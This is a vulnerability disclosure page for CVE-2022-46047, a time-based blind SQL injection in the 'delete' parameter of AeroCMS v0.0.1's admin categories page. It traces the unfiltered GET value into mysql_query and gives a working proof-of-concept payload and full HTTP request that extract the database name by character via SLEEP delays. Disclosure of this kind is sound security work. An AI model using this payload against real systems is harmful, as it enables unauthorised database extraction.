CVE-2022-46047: CVE/categories_delete_sql_injection.md at master · rdyx0/CVE

categories_delete_sql_injection

The delete parameter from the AeroCMS-v0.0.1 CMS system appears to be vulnerable to SQL injection attacks. The malicious user can dump-steal the database, from this CMS system and he can use it for very malicious purposes.

Step to Reproduct

Login to admin panel -> Categories-> Delete.

Exploit

The first character of the current database is ord(‘a’), which is chr(97), delay

Vulnerable Code

AeroCMS-0.0.1\admin\categories.php

Use the deleteCategories() function

Traced to the ‘admin/functions.php’ file

The delete parameter is passed in the GET mode and brought into the mysql_query() function without filtering

SQL query statements

DELETE FROM categories WHERE cat_id = 3 RLIKE (SELECT 5646 FROM (SELECT(SLEEP((IF(ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))=97,3,0)))))XOyv) LIMIT 1

POC

• Injection Point

  delete=3+RLIKE+(SELECT+5646+FROM+(SELECT(SLEEP((IF(ORD(MID((IFNULL(CAST(DATABASE()+AS+NCHAR),0x20)),1,1))%3d97,3,0)))))XOyv)

• Request

  GET /AeroCMS-0.0.1/admin/categories.php?delete=3+RLIKE+(SELECT+5646+FROM+(SELECT(SLEEP((IF(ORD(MID((IFNULL(CAST(DATABASE()+AS+NCHAR),0x20)),1,1))%3d97,3,0)))))XOyv) HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/AeroCMS-0.0.1/admin/categories.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=jl83irkvqmkeaq7j0bmr3i63q5 Connection: close